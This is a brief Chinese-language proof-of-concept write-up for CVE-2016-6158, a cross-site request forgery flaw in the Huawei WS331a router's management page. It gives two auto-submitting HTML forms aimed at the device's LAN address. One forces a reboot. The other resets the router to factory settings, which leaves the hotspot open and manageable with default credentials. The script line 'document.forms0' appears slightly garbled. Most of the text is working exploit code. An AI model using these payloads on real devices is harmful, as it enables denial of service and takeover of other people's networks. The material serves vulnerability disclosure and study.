CVE-2016-6158 华为WS331a产品管理页面CSRF漏洞

POC

当管理员登陆后，打开如下poc页面，WS331a设备将重启。

<form action="http://192.168.3.1/api/service/reboot.cgi" method="post">
</form>
<script> document.forms0.submit(); </script>

当管理员登陆后，打开如下poc页面，WS331a设备将恢复初始化配置。设备自动重启后不需要密码即可连接热点，并使用amdin/admin对设备进行管理控制。

<form action="http://192.168.3.1/api/service/restoredefcfg.cgi" method="post">
</form>
<script> document.forms0.submit(); </script>